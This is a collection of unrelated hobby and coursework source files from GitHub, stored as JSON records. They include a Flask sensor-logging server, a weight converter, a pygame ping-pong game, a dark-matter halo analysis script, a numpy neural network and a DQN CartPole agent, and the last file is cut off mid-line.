{"seq_id":"31262438011","text":"import flask \nfrom flask import request,jsonify,render_template\nimport Module.poop as poop\nimport pickle\n\n# buffer variables\n# are meant to be declared here, we will share the stuffs \n# with botogram bot!\n\nprimary_Gasbuffer = []\nprimary_LDRbuffer = []\nusageCounter = []\n#Std query format /update?valGas=100.00&valLDR=1015\" 404 -\n\napp = flask.Flask(__name__)\napp.config[\"DEBUG\"] = True \n\n@app.route('/',methods = ['GET'])\ndef home_main():\n    return \"<h1>Yaaay! this is basic website, it literally does nothing</h1>\"\n\n@app.route('/update',methods=['GET'])\ndef Call_message():\n    if 'valGas' in request.args:\n        valGas = request.args['valGas']\n        if 'valLDR' in request.args:\n            valLDR = request.args['valLDR']\n            if 'valPC' in request.args:\n                valPC = request.args['valPC']\n                \n                print(valGas+\" \"+valLDR+\" \"+valPC)\n                primary_Gasbuffer.append(valGas)\n                primary_LDRbuffer.append(valLDR)\n                usageCounter.append(valPC)\n    \n                gasBuffer = \"file_gas\"\n                gas_object = open(gasBuffer, 'wb')\n                ldrBuffer = \"file_ldr\"\n                ldr_object = open(ldrBuffer, 'wb')\n                pcBuffer = \"file_pc\"\n                pc_object = open(pcBuffer, 'wb')\n                #Stuffs ^ \n                pickle.dump(primary_Gasbuffer,gas_object)\n                pickle.dump(primary_LDRbuffer,ldr_object)\n                pickle.dump(usageCounter,pc_object)\n                gas_object.close()\n                ldr_object.close()\n                pc_object.close()\n                return \"\"\n    else:\n        return \" \"\n\n    \n\n    \n\napp.run(host='0.0.0.0')\n","repo_name":"Aeres-u99/PublicToiletHealth","sub_path":"IMP/Working with Queue/flaskServer.py","file_name":"flaskServer.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"25241997340","text":"# python 体重转换器\n\nweight = float(input(\"请输入你的体重：\"))\nunit = input(\"你的体重是公斤还是磅？（kg/lb）\").upper()\n\nif unit == 'KG':\n    weight *= 2.2\n    new_unit = '磅'\nelif unit == 'LB':\n    weight /= 2.2\n    new_unit = '公斤'\nelse:\n    print('单位不正确')\n    exit()\n\nprint(f'你的体重是 {round(weight)} {new_unit}')","repo_name":"Cerelise/python_re","sub_path":"weight_conversion.py","file_name":"weight_conversion.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"30122994361","text":"import csv\n\nimport Manager\nimport binascii\n\nclass LoggerManager(Manager.Manager):\n\n    def __init__(self, name=None ):\n        super(LoggerManager, self).__init__()\n        self._recording = False\n\n        if name is None:\n            self._recording = False\n        else:\n            self.new_file(name)\n            self.recording = True\n\n    @property\n    def recording(self):\n        return self._recording\n\n    @recording.setter\n    def recording(self, value):\n        self._recording = value\n\n    def start_recording(self):\n        \"\"\"\n        Start recording\n        :return:\n        \"\"\"\n        self.recording = True\n\n    def stop_recording(self):\n        \"\"\"\n        stop recording\n        :return: None\n        \"\"\"\n        self.recording = False\n\n    def new_file(self, name):\n        \"\"\"\n        Create a new file to record the sensor data too\n        :param name:\n        :return:\n        \"\"\"\n        if self.recording:\n            \"\"\"\n            Throw an error if in the middle of recording \n            \"\"\"\n            RuntimeError(\"IN THE MIDDLE OF RECORDING\")\n            return\n        self._name = name + \".csv\"\n        with open(self._name, \"a\") as f:\n            writer = csv.writer(f, delimiter=\",\")\n\n\n    def update(self, packet):\n        \"\"\"\n        write values the the CSV file\n        :type sensors: dict\n        \"\"\"\n\n        if self.recording:\n\n            data = packet\n\n            with open(self._name, \"a\") as f:\n                writer = csv.writer(f, delimiter=\",\")\n                writer.writerow(data)\n","repo_name":"nag92/ExoServer","sub_path":"Managers/LoggerManager.py","file_name":"LoggerManager.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"9787594944","text":"# 368page\n# 고정점 : 수열의 원소 중 그 값이 인덱스와 동일한 원소\n\n# 강의 시작 전 풀이 시작\nimport sys\n\ndef binary_search(lst, start, end):\n    if start == end and lst[start] != start:\n        return -1\n\n    mid = (start + end) // 2\n\n    if lst[mid] == mid:\n        return mid\n    elif lst[mid] > mid:\n        return binary_search(lst, start, mid-1)\n    else:\n        return binary_search(lst, mid+1, end)\n\nN = int(sys.stdin.readline())\ninput_data = list(map(int, sys.stdin.readline().split()))\nprint(binary_search(input_data, 0, N-1))\n# 강의 시작 전 풀이 끝\n\n'''\n입력: \n5\n-15 -6 1 3 7\n출력 : 3\n'''\n'''\n입력 : \n7\n-15 -4 2 8 9 13 15\n출력 : 2\n'''\n'''\n입력 : \n7\n-15 -4 3 8 9 13 15\n출력 : -1\n'''","repo_name":"sunny-yo/algorithm_data-structure","sub_path":"2201-2202/ch18_binary_search/이코테_Q28_고정점찾기.py","file_name":"이코테_Q28_고정점찾기.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"32610176337","text":"import pygame as pygame\nimport sys, random\nfrom pygame.locals import *\n\npygame.init()\n\ncolors = {\n    \"background\":[250,227,217],\n    \"ball\":[255,182,185],\n    \"paddle\":[187,222,214]\n}\n#게임 플레이에 주축이 되는 변수들 정의\nWINDOW_WIDTH = 600\nWINDOW_HEIGHT = 600\nwindowSize = [WINDOW_WIDTH,WINDOW_HEIGHT] #창 크기 설정\nscreen = pygame.display.set_mode(windowSize) #screen 생성\nFPS = 60\n\nFPSclock = pygame.time.Clock()\nRunning = True\npygame.display.set_caption(\"One Man Ping Pong\")\nclass Ball:\n    def __init__(self, x, y, radius, Spd):\n        self.x = x\n        self.y = y\n        self.radius = radius\n        self.XSpd = Spd\n        self.YSpd = Spd\n        self.WallColli = 0\n    def draw(self):\n        pygame.draw.circle(screen, colors[\"ball\"], (self.x, self.y), self.radius)\n        self.x += self.XSpd\n        self.y += self.YSpd\n    def collisionCheck(self):\n        pygame.draw.circle(screen, (255,255,255), (75,75), self.radius)\n        pygame.draw.circle(screen, (255,255,255), (75,125), self.radius)\n        pygame.draw.circle(screen, (255,255,255), (50,100), self.radius)\n        pygame.draw.circle(screen, (255,255,255), (100,100), self.radius)\n        if(self.x + self.radius >= WINDOW_WIDTH or self.x - self.radius <= 0): #벽 충돌 이벤트\n            self.XSpd *= -1\n            self.WallColli += 1\n        elif(self.y + self.radius >= WINDOW_HEIGHT or self.y - self.radius <= 0): #벽 충돌 이벤트\n            self.YSpd *= -1\n            self.WallColli += 1\n        elif(self.x >= PaddleTOP.x - PaddleTOP.length/2 and self.x <= PaddleTOP.x + PaddleTOP.length/2): #상단 패들과 충돌 검사\n            pygame.draw.circle(screen, (255,0,0), (75,75), self.radius)\n            if(self.y - self.radius <= PaddleTOP.y + PaddleTOP.thickness/2):\n                pygame.draw.circle(screen, (0,0,255), (75,75), self.radius)\n                self.YSpd *= -1\n                self.WallColli += 1\n        elif(self.x >= PaddleBOTTOM.x - PaddleBOTTOM.length/2 and self.x <= PaddleBOTTOM.x + PaddleBOTTOM.length/2): #하단 패들과 충돌 검사\n            pygame.draw.circle(screen, (255,0,0), (75,125), self.radius)\n            if(self.y + self.radius >= PaddleBOTTOM.y - PaddleBOTTOM.thickness/2):\n                pygame.draw.circle(screen, (0,0,255), (75,125), self.radius)\n                self.YSpd *= -1\n                self.WallColli += 1\n        elif(self.y >= PaddleLEFT.y - PaddleLEFT.length/2 and self.y <= PaddleLEFT.y + PaddleLEFT.length/2): #왼쪽 패들과 충돌 검사\n            pygame.draw.circle(screen, (255,0,0), (50,100), self.radius)\n            if(self.x - self.radius <= PaddleLEFT.x + PaddleLEFT.thickness/2):\n                pygame.draw.circle(screen, (0,0,255), (50,100), self.radius)\n                self.XSpd *= -1\n                self.WallColli += 1\n        elif(self.y >= PaddleRIGHT.y - PaddleRIGHT.length/2 and self.y <= PaddleRIGHT.y + PaddleRIGHT.length/2): #오른쪽 패들과 충돌 검사\n            pygame.draw.circle(screen, (255,0,0), (50,100), self.radius)\n            if(self.x + self.radius >= PaddleRIGHT.x - PaddleRIGHT.thickness/2):\n                pygame.draw.circle(screen, (0,0,255), (50,100), self.radius)\n                self.XSpd *= -1\n                self.WallColli += 1\n\nclass Paddle:\n    def __init__(self, x, y, length, thickness):\n        self.x = x\n        self.y = y\n        self.length = length\n        self.thickness = thickness\n    def drawTOP(self):\n        self.x = mousex\n        pygame.draw.line(screen, colors[\"paddle\"],[self.x-(self.length/2),self.y],[self.x+(self.length/2),self.y],self.thickness)\n    def drawBOTTOM(self):\n        self.x = WINDOW_WIDTH-mousex\n        pygame.draw.line(screen, colors[\"paddle\"],[self.x-(self.length/2),self.y],[self.x+(self.length/2),self.y],self.thickness)\n    def drawLEFT(self):\n        self.y = mousey\n        pygame.draw.line(screen, colors[\"paddle\"],[self.x,self.y-(self.length/2)],[self.x,self.y+(self.length/2)],self.thickness)\n    def drawRIGHT(self):\n        self.y = WINDOW_HEIGHT-mousey\n        pygame.draw.line(screen, colors[\"paddle\"],[self.x,self.y-(self.length/2)],[self.x,self.y+(self.length/2)],self.thickness)\n\nBall = Ball(random.randrange(10,WINDOW_WIDTH-10),random.randrange(10,WINDOW_HEIGHT-10),10,4) #게임공\nPaddleTOP = Paddle(random.randrange(0,WINDOW_WIDTH),30,100,14) #위쪽 패들\nPaddleBOTTOM = Paddle(random.randrange(0,WINDOW_WIDTH),WINDOW_HEIGHT-30,100,14) #아랫쪽 패들\nPaddleLEFT = Paddle(30,random.randrange(0,WINDOW_HEIGHT),100,14) #왼쪽 패들\nPaddleRIGHT = Paddle(WINDOW_WIDTH-30,random.randrange(0,WINDOW_HEIGHT),100,14) #오른쪽 패들\nmousex = 0\nmousey = 0\n\nwhile True:\n    screen.fill(colors[\"background\"])\n    PaddleTOP.drawTOP()\n    PaddleBOTTOM.drawBOTTOM()\n    PaddleLEFT.drawLEFT()\n    PaddleRIGHT.drawRIGHT()\n    Ball.draw()\n    Ball.collisionCheck()\n\n    for event in pygame.event.get():\n        if event.type == QUIT or (event.type == KEYUP and event.key == K_ESCAPE): #esc또는 X를 눌렀을 때 게임 종료\n            pygame.quit()\n            sys.exit()\n\n    mousex,mousey = pygame.mouse.get_pos()\n    print(\"(\"+str(mousex)+\",\"+str(mousey)+\") Wall Collision : \"+str(Ball.WallColli)) # 마우스 위치 Logging\n    pygame.draw.circle(screen, (255,0,0), (mousex, mousey), 5) #마우스 위치 표시\n    pygame.display.flip()\n    FPSclock.tick(FPS)\n    ","repo_name":"changemin/one-man-ping-pong","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"72971974762","text":"#QUESTIONS:\n#the scale radius of the subhalos is the same as the scale radius of the halos\n#do I center on the halo or instead on the main subhalo?\n#check halos.is_resolved(). What happens when no intersection is found?\n\nimport os\nimport sys\nimport glob\nimport gzip\nimport argparse\n\nimport numpy as np\n\nimport dmprofile\nfrom dmprofile.src.halos import Halos\nfrom dmprofile.src import plot\nfrom dmprofile.src.utilities import rho_crit, intersect\nfrom dmprofile.src.move import centering_com, centering_mbp\nfrom dmprofile.src.parser import add_args\nfrom dmprofile.src.utilities import write_to_file as wf\n\nFLAGS, _ = add_args(argparse.ArgumentParser())\nprint(\"Parsed arguments:\")\nfor k,v in FLAGS.__dict__.items():\n    print('{}: {}'.format(k,v))\n\nst = FLAGS.sim_types\naddition = '' \nss = FLAGS.sim_sizes[0] \nif ss=='128': additon='.hdf5'\npath_first = ['/fred/oz071/aduffy/Smaug/'+st[i]+'_L010N0'+ss+'/data' for i in range(len(st))]\nredshift_dict = {5: '103', 6: '080', 7: '065', 8: '054', 9: '045'}\nrshift = redshift_dict[FLAGS.redshift]\npath1 = [os.path.join(path_first[i], 'subhalos_'+rshift+'/subhalo_'+rshift) for i in range(len(st))]\npath2 = [os.path.join(path_first[i], 'snapshot_'+rshift+'/snap_'+rshift+addition) for i in range(len(st))]\n\nh = [Halos(path1[i], min_size=FLAGS.sim_min_particle_number) for i in range(len(st))]\nN = [h[i].get_number_halos() for i in range(len(st))]\n\nfor isim in range(len(st)):\n    c, M200, M200_shape, res, rel, s = ([] for i in range(6))\n    for i in range(N[isim]):\n        print(\"SIM\", st[isim], \"  HALO:\", i)\n        with centering_com(h[isim].get_halo(i), r=h[isim]._get_r200(i)):\n            print(h[isim].get_halo(i))\n            isres = h[isim].is_resolved(i, sub_idx=0)        \n            isrel = h[isim].is_relaxed(i, sub_idx=0)\n            relax_tmp = h[isim].concentration_200(idx=i, sub_idx=0)\n            s_tmp = h[isim].get_shape(i, 0)\n            if s_tmp!=-1 and isres!=-1 and relax_tmp!=-1 and isrel!=-1:\n                M200.append(h[isim].get_mass200(i))\n                res.append(isres)     \n                rel.append(isrel)\n                c.append(relax_tmp)\n                M200_shape.append(np.log10(h[isim].get_mass200(i)))\n                s.append(s_tmp)\n    wf('data3/Concentration_'+st[isim]+'_'+str(FLAGS.sim_min_particle_number)+\n       '_'+ss+'_redshift'+str(FLAGS.redshift)+'.txt', c, M200, res, rel)\n    wf('data3/Shape_'+st[isim]+'_'+str(FLAGS.sim_min_particle_number)+\n       '_'+ss+'_redshift'+str(FLAGS.redshift)+'.txt', s, M200_shape, mode='shape')\n","repo_name":"bfonta/DarkMatter","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"42393372871","text":"#coding:utf-8\n## https://zhuanlan.zhihu.com/p/38006693\nimport sklearn\nimport sklearn.datasets\nimport numpy as np\n\ndef sigmoid(input_sum):\n    output = 1.0/(1 + np.exp(-input_sum))\n    return output, input_sum\n\ndef sigmoid_back(derror_wrt_output, input_sum):\n    output = 1.0/(1 + np.exp(-input_sum))\n    doutput_wrt_dinput = output * (1 - output)\n    derror_wrt_dinput = derror_wrt_output * doutput_wrt_dinput\n    return derror_wrt_dinput\n\ndef activated(activation_choose, input):\n    if activation_choose == 'sigmoid':\n        return sigmoid(input)\n\n    return sigmoid(input)\n\nclass NeuralNetwork:\n    def __init__(self, layers_structure, print_cost=False):\n        self.layers_structure = layers_structure\n        self.layers_num = len(layers_structure)\n\n        self.param_layers_num = self.layers_num - 1\n\n        self.learning_rate = 0.0618\n        self.num_iterations = 2000\n        self.x = None\n        self.y = None\n        self.w = dict()\n        self.b = dict()\n        self.costs = []\n        self.print_cost = print_cost\n\n        self.init_w_b()\n    \n    def init_w_b(self):\n        np.random.seed(3)\n\n        for l in range(1, self.layers_num):\n            self.w[\"w\" + str(l)] = np.random.randn(self.layers_structure[l], self.layers_structure[l-1])/np.sqrt(self.layers_structure[l-1])\n            self.b[\"b\" + str(l)] = np.zeros((self.layers_structure[l], 1))\n        \n        return self.w, self.b\n    \n    def set_learning_rate(self, learning_rate):\n        self.learning_rate = learning_rate\n\n    def set_num_iterations(self, num_iterations):\n        self.num_iterations = num_iterations\n\n    def set_xy(self, input, label):\n        self.x = input\n        self.y = label\n\n    def layer_activation_forward(self, x, w, b, activation_choose):\n        input_sum = np.dot(w,x) + b\n        output, _ = activated(activation_choose, input_sum)\n        return output, (x, w, b, input_sum)\n\n    def forward_propagation(self, x):\n        caches = []\n        output_prev = x\n        L = self.param_layers_num\n        for l in range(1,L):\n            input_cur = output_prev\n            output_prev, cache = self.layer_activation_forward(input_cur, self.w[\"w\" + str(l)], self.b[\"b\" + str(l)], \"sigmoid\")\n            caches.append(cache)\n        \n        output, cache = self.layer_activation_forward(output_prev, self.w[\"w\" + str(L)], self.b[\"b\" + str(L)], \"sigmoid\")\n        caches.append(cache)\n\n        return output, caches\n\n    def compute_error(self, output):\n        m = self.y.shape[1]\n        error = np.sum(0.5 * (self.y - output) ** 2) / m\n        error = np.squeeze(error)\n\n        return error\n\n    def layer_activation_backward(self, derror_wrt_output, cur_cache):\n        input, w, b, input_sum = cur_cache\n        output_prev = input\n        m = output_prev.shape[1]\n\n        derror_wrt_dinput = sigmoid_back(derror_wrt_output, input_sum)\n        derror_wrt_dw = np.dot(derror_wrt_dinput, output_prev.T) / m\n        \n        derror_wrt_db = np.sum(derror_wrt_dinput, axis=1, keepdims=True)/m\n\n        derror_wrt_output_prev = np.dot(w.T, derror_wrt_dinput)\n\n        return derror_wrt_output_prev, derror_wrt_dw, derror_wrt_db\n\n    def back_propagation(self, output, caches):\n\n        \"\"\"\n        函数:\n            神经网络的反向传播\n        输入:\n            output：神经网络输\n            caches：所有网络层（输入层不算）的缓存参数信息  [(x, w, b, input_sum), ...]\n        返回:\n            grads: 返回当前迭代的梯度信息\n        \"\"\"\n\n        grads = {}\n        L = self.param_layers_num #\n        output = output.reshape(output.shape)  # 把输出层输出输出重构成和期望输出一样的结构\n\n        expected_output = self.y\n\n        # 见式(5.8)\n        #derror_wrt_output = -(expected_output - output)\n\n        # 交叉熵作为误差函数\n        derror_wrt_output = - (np.divide(expected_output, output) - np.divide(1 - expected_output, 1 - output))\n\n        # 反向传播：输出层 -> 隐藏层，得到梯度：见式(5.8), (5.13), (5.15)\n        current_cache = caches[L - 1] # 取最后一层,即输出层的参数信息\n        grads[\"derror_wrt_output\" + str(L)], grads[\"derror_wrt_dw\" + str(L)], grads[\"derror_wrt_db\" + str(L)] = \\\n            self.layer_activation_backward(derror_wrt_output, current_cache)\n\n        # 反向传播：隐藏层 -> 隐藏层，得到梯度：见式 (5.28)的(Σδ·w), (5.28), (5.32)\n        for l in reversed(range(L - 1)):\n            current_cache = caches[l]\n            derror_wrt_output_prev_temp, derror_wrt_dw_temp, derror_wrt_db_temp = \\\n                self.layer_activation_backward(grads[\"derror_wrt_output\" + str(l + 2)], current_cache)\n\n            grads[\"derror_wrt_output\" + str(l + 1)] = derror_wrt_output_prev_temp\n            grads[\"derror_wrt_dw\" + str(l + 1)] = derror_wrt_dw_temp\n            grads[\"derror_wrt_db\" + str(l + 1)] = derror_wrt_db_temp\n\n        return grads\n    \n    def update_w_and_b(self, grads):\n        \"\"\"\n        函数:\n            根据梯度信息更新w，b\n        输入:\n            grads：当前迭代的梯度信息\n        返回:\n\n        \"\"\"\n\n        # 权值w和偏置b的更新，见式:（5.16),(5.18)\n        for l in range(self.param_layers_num):\n            self.w[\"w\" + str(l + 1)] = self.w[\"w\" + str(l + 1)] - self.learning_rate * grads[\"derror_wrt_dw\" + str(l + 1)]\n            self.b[\"b\" + str(l + 1)] = self.b[\"b\" + str(l + 1)] - self.learning_rate * grads[\"derror_wrt_db\" + str(l + 1)]\n\n\n    def training_module(self):\n        np.random.seed(5)\n        for i in range(0 ,self.num_iterations):\n            output, caches = self.forward_propagation(self.x)            \n            cost = self.compute_error(output)\n            grads = self.back_propagation(output, caches)\n            self.update_w_and_b(grads)\n            #当次迭代结束，打印误差信息\n            if self.print_cost and i % 1000 == 0:\n                print (\"Cost after iteration %i: %f\" % (i, cost))\n            if self.print_cost and i % 1000 == 0:\n                self.costs.append(cost)\n\n        return self.w, self.b\n\n\nif __name__ == \"__main__\":\n    # 60个点，noise噪声系数越大噪声越大，两种点\n    xy, colors = sklearn.datasets.make_moons(60, noise=1.0)\n    # 输出层2个神经元，[1,0] [0,1]为两个类别\n    y = []\n    for c in colors:\n        if c == 1:\n            y.append([0,1])\n        else:\n            y.append([1,0])\n    y = np.array(y).T\n    # import pdb\n    # pdb.set_trace()\n    \n    hidden_layer_neuron_num_list = [1,2,4,10,20,50]\n\n    #for i, hidden_layer_neuron_num in enumerate(hidden_layer_neuron_num_list):\n    nn = NeuralNetwork([2, 4, 2], True)\n    print(nn)\n    nn.set_xy(xy.T, y)\n    nn.set_num_iterations(30000)\n    nn.set_learning_rate(0.1)\n    w, b = nn.training_module()\n    print(\"%i iter w:\", w)\n    print(\"%i iter b:\", b)\n\n\n    ","repo_name":"lesleyping/BP","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":6866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"9819541308","text":"### https://github.com/mahakal001/reinforcement-learning/tree/master/cartpole-dqn\r\n\r\nimport torch\r\nfrom torch import nn\r\nimport copy\r\nfrom collections import deque\r\nimport random\r\n\r\nclass DQN_Agent:\r\n\r\n    def __init__(self, seed, layer_sizes, lr, sync_freq, exp_replay_size):\r\n        torch.manual_seed(seed)\r\n        self.q_net = self.build_nn(layer_sizes).to(device)\r\n        self.target_net = copy.deepcopy(self.q_net).to(device)\r\n\r\n        self.loss_fn = torch.nn.MSELoss()\r\n        self.optimizer = torch.optim.Adam(self.q_net.parameters(), lr=lr)\r\n\r\n        self.network_sync_freq = sync_freq\r\n        self.network_sync_counter = 0\r\n        self.gamma = torch.tensor(0.95).float().to(device)\r\n        self.experience_replay = deque(maxlen=exp_replay_size)\r\n        return\r\n\r\n    def build_nn(self, layer_sizes):\r\n        assert len(layer_sizes) > 1\r\n        layers = []\r\n        for index in range(len(layer_sizes) - 1):\r\n            linear = nn.Linear(layer_sizes[index], layer_sizes[index + 1])\r\n            act = nn.Tanh() if index < len(layer_sizes) - 2 else nn.Identity()\r\n            layers += (linear, act)\r\n        return nn.Sequential(*layers)\r\n\r\n    def load_pretrained_model(self, model_path):\r\n        self.q_net.load_state_dict(torch.load(model_path))\r\n\r\n    def save_trained_model(self, model_path=\"cartpole-dqn.pth\"):\r\n        torch.save(self.q_net.state_dict(), model_path)\r\n\r\n    def get_action(self, state, action_space_len, epsilon):\r\n        # We do not require gradient at this point, because this function will be used either\r\n        # during experience collection or during inference\r\n        with torch.no_grad():\r\n            Qp = self.q_net(torch.from_numpy(state).float().to(device))\r\n        Q, A = torch.max(Qp, axis=0)\r\n        A = A if torch.rand(1, ).item() > epsilon else torch.randint(0, action_space_len, (1,))\r\n        return A\r\n\r\n    def get_q_next(self, state):\r\n        with torch.no_grad():\r\n            qp = self.target_net(state)\r\n        q, _ = torch.max(qp, axis=1)\r\n        return q\r\n\r\n    def collect_experience(self, experience):\r\n        self.experience_replay.append(experience)\r\n        return\r\n\r\n    def sample_from_experience(self, sample_size):\r\n        if len(self.experience_replay) < sample_size:\r\n            sample_size = len(self.experience_replay)\r\n        sample = random.sample(self.experience_replay, sample_size)\r\n        s = torch.tensor([exp[0] for exp in sample]).float()\r\n        a = torch.tensor([exp[1] for exp in sample]).float()\r\n        rn = torch.tensor([exp[2] for exp in sample]).float()\r\n        sn = torch.tensor([exp[3] for exp in sample]).float()\r\n        return s, a, rn, sn\r\n\r\n    def train(self, batch_size):\r\n        s, a, rn, sn = self.sample_from_experience(sample_size=batch_size)\r\n        if self.network_sync_counter == self.network_sync_freq:\r\n            self.target_net.load_state_dict(self.q_net.state_dict())\r\n            self.network_sync_counter = 0\r\n\r\n        # predict expected return of current state using main network\r\n        qp = self.q_net(s.to(device))\r\n        pred_return, _ = torch.max(qp, axis=1)\r\n\r\n        # get target return using target network\r\n        q_next = self.get_q_next(sn.to(device))\r\n        target_return = rn.to(device) + self.gamma * q_next\r\n\r\n        loss = self.loss_fn(pred_return, target_return)\r\n        self.optimizer.zero_grad()\r\n        loss.backward(retain_graph=True)\r\n        self.optimizer.step()\r\n\r\n        self.network_sync_counter += 1\r\n        return loss.item()\r\n\r\n\r\nimport gym\r\nfrom tqdm import tqdm\r\nimport time\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n\r\n\r\ndef train():\r\n    env = gym.make('CartPole-v0')\r\n    input_dim = env.observation_space.shape[0]\r\n    output_dim = env.action_space.n\r\n    exp_replay_size = 256\r\n    agent = DQN_Agent(seed=1423, layer_sizes=[input_dim, 64, output_dim], lr=1e-3, sync_freq=5,\r\n                      exp_replay_size=exp_replay_size)\r\n\r\n    # Main training loop\r\n    losses_list, reward_list, episode_len_list, epsilon_list = [], [], [], []\r\n    episodes = 10000\r\n    epsilon = 1\r\n\r\n    # initialize experience replay\r\n    index = 0\r\n    for i in range(exp_replay_size):\r\n        obs = env.reset()\r\n        done = False\r\n        while not done:\r\n            A = agent.get_action(obs, env.action_space.n, epsilon=1)\r\n            obs_next, reward, done, _ = env.step(A.item())\r\n            agent.collect_experience([obs, A.item(), reward, obs_next])\r\n            obs = obs_next\r\n            index += 1\r\n            if index > exp_replay_size:\r\n                break\r\n\r\n    index = 128\r\n    for i in tqdm(range(episodes)):\r\n        obs, done, losses, ep_len, rew = env.reset(), False, 0, 0, 0\r\n        while not done:\r\n            ep_len += 1\r\n            A = agent.get_action(obs, env.action_space.n, epsilon)\r\n            obs_next, reward, done, _ = env.step(A.item())\r\n            agent.collect_experience([obs, A.item(), reward, obs_next])\r\n\r\n            obs = obs_next\r\n            rew += reward\r\n            index += 1\r\n\r\n            if index > 128:\r\n                index = 0\r\n                for j in range(4):\r\n                    loss = agent.train(batch_size=16)\r\n                    losses += loss\r\n        if epsilon > 0.05:\r\n            epsilon -= (1 / 5000)\r\n\r\n        losses_list.append(losses / ep_len), reward_list.append(rew)\r\n        episode_len_list.append(ep_len), epsilon_list.append(epsilon)\r\n\r\n    print(\"Saving trained model\")\r\n    agent.save_trained_model(\"cartpole-dqn.pth\")\r\n\r\n\r\ndef test():\r\n\r\n    env = gym.make('CartPole-v0')\r\n    # env = gym.wrappers.Monitor(env, \"record_dir\", force='True')\r\n\r\n    input_dim = env.observation_space.shape[0]\r\n    output_dim = env.action_space.n\r\n    exp_replay_size = 256\r\n    agent = DQN_Agent(seed=1423, layer_sizes=[input_dim, 64, output_dim], lr=1e-3, sync_freq=5,\r\n                      exp_replay_size=exp_replay_size)\r\n    agent.load_pretrained_model(\"cartpole-dqn.pth\")\r\n\r\n    reward_arr = []\r\n    for i in tqdm(range(100)):\r\n        obs, done, rew = env.reset(), False, 0\r\n        while not done:\r\n            A = agent.get_action(obs, env.action_space.n, epsilon=0)\r\n            obs, reward, done, info = env.step(A.item())\r\n            rew += reward\r\n            time.sleep(0.01)\r\n            env.render()\r\n\r\n        reward_arr.append(rew)\r\n    print(\"average reward per episode :\", sum(reward_arr) / len(reward_arr))\r\n\r\n\r\nif __name__ == '__main__':\r\n    # train()\r\n    test()","repo_name":"abhisheknaik96/rl-playground","sub_path":"dqn_tutorial_2.py","file_name":"dqn_tutorial_2.py","file_ext":"py","file_size_in_byte":6473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"33442728570","text":"import os\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import log_loss, roc_auc_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder, MinMaxScaler\nimport random\nfrom deepctr.models import DeepFM,FLEN\nfrom tensorflow.keras.callbacks import EarlyStopping,ModelCheckpoint\nfrom deepctr.feature_column import SparseFeat, DenseFeat, get_feature_names\nimport pickle\nfrom tqdm import tqdm_notebook\nfrom collections import Counter \n\n\ndata_dir = '../data/离线实验_0923/'\nos.makedirs(data_dir,exist_ok=True)\n\nstudent_metadata =  pd.read_csv('../data/public_data/metadata/student_metadata_task_1_2.csv')\nquestion_metadata =  pd.read_csv('../data/public_data/metadata/question_metadata_task_1_2.csv')\nanswer_metadata =  pd.read_csv('../data/public_data/metadata/answer_metadata_task_1_2.csv')\nsubject_metadata =  pd.read_csv('../data/public_data/metadata/subject_metadata.csv')\n\n\nsubject_metadata.index = subject_metadata['SubjectId']\nsubject_metadata.fillna(0,inplace=True)\nsubject_metadata['ParentId'] = subject_metadata['ParentId'].apply(int)\n\ndef add_date_feature(df, col):\n    df[col].fillna(\"0000-08-01 00:00:00.000\", inplace=True)\n    df['{}_Split'.format(col)] = df[col].apply(\n        lambda x: x.split()[0].split('-'))\n    df['{}_Year'.format(col)] = df['{}_Split'.format(col)\n                                   ].apply(lambda x: int(x[0]))\n    df['{}_Month'.format(col)] = df['{}_Split'.format(col)\n                                    ].apply(lambda x: int(x[1]))\n    df['{}_Year_Month'.format(col)] = df.apply(lambda x:\n                                               '{}_{}'.format(\n                                                   x['{}_Year'.format(col)],\n                                                   x['{}_Month'.format(col)]), axis=1)\n    return df\n\n\nquestion_metadata['SubjectId'] = question_metadata['SubjectId'].apply(eval)\nquestion_metadata['subject_num'] = question_metadata['SubjectId'].apply(len)\n\n\nque_to_subject = dict(zip(question_metadata['QuestionId'],question_metadata['SubjectId'])) \n\n\n\nn = 10\nque_feature_map = {}\nfor que_id,subject_list in que_to_subject.items():\n    feature_list = []\n    feature_list = subject_list+[-1]*n\n    que_feature_map[que_id] = feature_list[:n]\n\ndef add_subject_col(df,n=8):\n    tmp = df['QuestionId'].map(que_feature_map)\n    tmp = pd.DataFrame(np.array(tmp.tolist()),columns=[\"subject_{}\".format(i) for i in range(1,n+1)])\n    df = pd.concat([tmp,df],axis=1)\n    return df\n\n\nstudent_metadata['PremiumPupil'].fillna(2,inplace=True)\nstudent_metadata = add_date_feature(student_metadata,'DateOfBirth')\n\n\nanswer_metadata = add_date_feature(answer_metadata,'DateAnswered') \n\ndf_all_train = pd.read_csv('../data/public_data/train_data/train_task_1_2.csv')\n## 用户能力预估\nquestion_difficulty_dict = df_all_train.groupby('QuestionId')['IsCorrect'].agg(lambda x:x.mean()).to_dict()\nuser_ability_dict = df_all_train.groupby('UserId')['IsCorrect'].agg(lambda x:x.mean()).to_dict()\n\n\nuser_history_ability_dict = pickle.load(open('../data/离线实验/user_history_ability_dict.pkl','rb'))\nuser_history_subject_ability_dict = pickle.load(open('../data/离线实验/user_history_subject_ability_dict.pkl','rb'))\n\n\nQuestionId2SubjectId = 